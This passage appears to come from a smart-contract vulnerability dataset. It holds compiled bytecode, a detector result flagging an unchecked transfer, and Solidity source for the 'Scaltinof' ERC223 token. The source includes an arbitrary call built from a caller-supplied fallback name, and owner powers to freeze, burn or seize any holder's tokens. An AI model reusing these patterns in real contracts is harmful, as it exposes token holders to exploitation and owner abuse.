ffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae0565b005b34801561043c57600080fd5b50610445610d00565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d39565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc5565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4c565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600b81526020017f56495053544152434f494e00000000000000000000000000000000000000000081525081565b6000806106ed3385610dc5565b14806106f95750600082145b151561070457600080fd5b61070e8383610fad565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b61084484848461109f565b90505b9392505050565b600881565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad6576109d16753444835ec580000600454611485565b8211156109e15760009050610adb565b610a296000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149e565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a776004548361149e565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610adb565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3e57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7957600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1f57600080fd5b505af1158015610c33573d6000803e3d6000fd5b505050506040513d6020811015610c4957600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600481526020017f564950530000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9457600080fd5b600560009054906101000a900460ff1615610db25760009050610dbf565b610dbc83836114bc565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee357600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110dc57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611169576000905061147e565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111b8576000905061147e565b6000821180156111f457508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114145761127f600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611485565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113476000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611485565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d16000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149357fe5b818303905092915050565b60008082840190508381101515156114b257fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114f957600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115485760009050611708565b60008211801561158457508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561169e576115d16000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611485565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a7230582092d635747e91e98894d4c626e55e0d6a97167e9872da020f01fe23d758373abb0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,162
0x296ec7b2b224ea122f8f8f9be2a824df092fc82c
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /** * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title Scaltinof * @author Scaltinof * @dev Scaltinof is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract Scaltinof is ERC223, Ownable { using SafeMath for uint256; string public name = "Scaltinof"; string public symbol = "SCAL"; uint8 public decimals = 8; uint256 public initialSupply = 10e9 * 1e8; uint256 public totalSupply; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function Scaltinof() public { totalSupply = initialSupply; balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn&#39;t work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
0x6060604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015a57806306fdde0314610181578063095ea7b31461020b57806318160ddd1461022d57806323b872dd14610252578063313ce5671461027a578063378dc3dc146102a357806340c10f19146102b65780634f25eced146102d857806364ddc605146102eb57806370a082311461037a5780637d64bcb4146103995780638da5cb5b146103ac57806394594625146103db57806395d89b411461042c5780639dc29fac1461043f578063a8f11eb914610150578063a9059cbb14610461578063b414d4b614610483578063be45fd62146104a2578063c341b9f614610507578063cbbe974b1461055a578063d39b1d4814610579578063dd62ed3e1461058f578063dd924594146105b4578063f0dc417114610643578063f2fde38b146106d2578063f6368f8a146106f1575b610158610798565b005b341561016557600080fd5b61016d61090d565b604051901515815260200160405180910390f35b341561018c57600080fd5b610194610916565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101d05780820151838201526020016101b8565b50505050905090810190601f1680156101fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021657600080fd5b61016d600160a060020a03600435166024356109be565b341561023857600080fd5b610240610a2a565b60405190815260200160405180910390f35b341561025d57600080fd5b61016d600160a060020a0360043581169060243516604435610a30565b341561028557600080fd5b61028d610c3f565b60405160ff909116815260200160405180910390f35b34156102ae57600080fd5b610240610c48565b34156102c157600080fd5b61016d600160a060020a0360043516602435610c4e565b34156102e357600080fd5b610240610d50565b34156102f657600080fd5b610158600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d5695505050505050565b341561038557600080fd5b610240600160a060020a0360043516610eb0565b34156103a457600080fd5b61016d610ecb565b34156103b757600080fd5b6103bf610f38565b604051600160a060020a03909116815260200160405180910390f35b34156103e657600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f4792505050565b341561043757600080fd5b6101946111d5565b341561044a57600080fd5b610158600160a060020a0360043516602435611248565b341561046c57600080fd5b61016d600160a060020a0360043516602435611330565b341561048e57600080fd5b61016d600160a060020a036004351661140b565b34156104ad57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061142095505050505050565b341561051257600080fd5b61015860046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506114eb9050565b341561056557600080fd5b610240600160a060020a03600435166115ed565b341561058457600080fd5b6101586004356115ff565b341561059a57600080fd5b610240600160a060020a036004358116906024351661161f565b34156105bf57600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061164a95505050505050565b341561064e57600080fd5b61016d6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118fc95505050505050565b34156106dd57600080fd5b610158600160a060020a0360043516611bca565b34156106fc57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c6595505050505050565b60006007541180156107c65750600754600154600160a060020a031660009081526009602052604090205410155b80156107eb5750600160a060020a0333166000908152600b602052604090205460ff16155b801561080e5750600160a060020a0333166000908152600c602052604090205442115b151561081957600080fd5b600034111561085657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561085657600080fd5b600754600154600160a060020a03166000908152600960205260409020546108839163ffffffff611fbd16565b600154600160a060020a039081166000908152600960205260408082209390935560075433909216815291909120546108c19163ffffffff611fcf16565b600160a060020a033381166000818152600960205260409081902093909355600154600754919392169160008051602061240a83398151915291905190815260200160405180910390a3565b60085460ff1681565b61091e6123f7565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b820191906000526020600020905b81548152906001019060200180831161099757829003601f168201915b5050505050905090565b600160a060020a033381166000818152600a6020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60065490565b6000600160a060020a03831615801590610a4a5750600082115b8015610a6f5750600160a060020a038416600090815260096020526040902054829010155b8015610aa25750600160a060020a038085166000908152600a602090815260408083203390941683529290522054829010155b8015610ac75750600160a060020a0384166000908152600b602052604090205460ff16155b8015610aec5750600160a060020a0383166000908152600b602052604090205460ff16155b8015610b0f5750600160a060020a0384166000908152600c602052604090205442115b8015610b325750600160a060020a0383166000908152600c602052604090205442115b1515610b3d57600080fd5b600160a060020a038416600090815260096020526040902054610b66908363ffffffff611fbd16565b600160a060020a038086166000908152600960205260408082209390935590851681522054610b9b908363ffffffff611fcf16565b600160a060020a038085166000908152600960209081526040808320949094558783168252600a8152838220339093168252919091522054610be3908363ffffffff611fbd16565b600160a060020a038086166000818152600a60209081526040808320338616845290915290819020939093559085169160008051602061240a8339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60055481565b60015460009033600160a060020a03908116911614610c6c57600080fd5b60085460ff1615610c7c57600080fd5b60008211610c8957600080fd5b600654610c9c908363ffffffff611fcf16565b600655600160a060020a038316600090815260096020526040902054610cc8908363ffffffff611fcf16565b600160a060020a0384166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a038316600060008051602061240a8339815191528460405190815260200160405180910390a350600192915050565b60075481565b60015460009033600160a060020a03908116911614610d7457600080fd5b60008351118015610d86575081518351145b1515610d9157600080fd5b5060005b8251811015610eab57818181518110610daa57fe5b90602001906020020151600c6000858481518110610dc457fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610df257600080fd5b818181518110610dfe57fe5b90602001906020020151600c6000858481518110610e1857fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e4857fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610e8857fe5b9060200190602002015160405190815260200160405180910390a2600101610d95565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610ee957600080fd5b60085460ff1615610ef957600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f5c575060008551115b8015610f815750600160a060020a0333166000908152600b602052604090205460ff16155b8015610fa45750600160a060020a0333166000908152600c602052604090205442115b1515610faf57600080fd5b610fc3846305f5e10063ffffffff611fde16565b9350610fd78551859063ffffffff611fde16565b600160a060020a0333166000908152600960205260409020549092508290101561100057600080fd5b5060005b84518110156111885784818151811061101957fe5b90602001906020020151600160a060020a03161580159061106e5750600b600086838151811061104557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156110b35750600c600086838151811061108557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156110be57600080fd5b61110284600960008885815181106110d257fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fcf16565b6009600087848151811061111257fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061114257fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3600101611004565b600160a060020a0333166000908152600960205260409020546111b1908363ffffffff611fbd16565b33600160a060020a0316600090815260096020526040902055506001949350505050565b6111dd6123f7565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b60015433600160a060020a0390811691161461126357600080fd5b60008111801561128c5750600160a060020a038216600090815260096020526040902054819010155b151561129757600080fd5b600160a060020a0382166000908152600960205260409020546112c0908263ffffffff611fbd16565b600160a060020a0383166000908152600960205260409020556006546112ec908263ffffffff611fbd16565b600655600160a060020a0382167fcc16f5dbb4873280815c1ee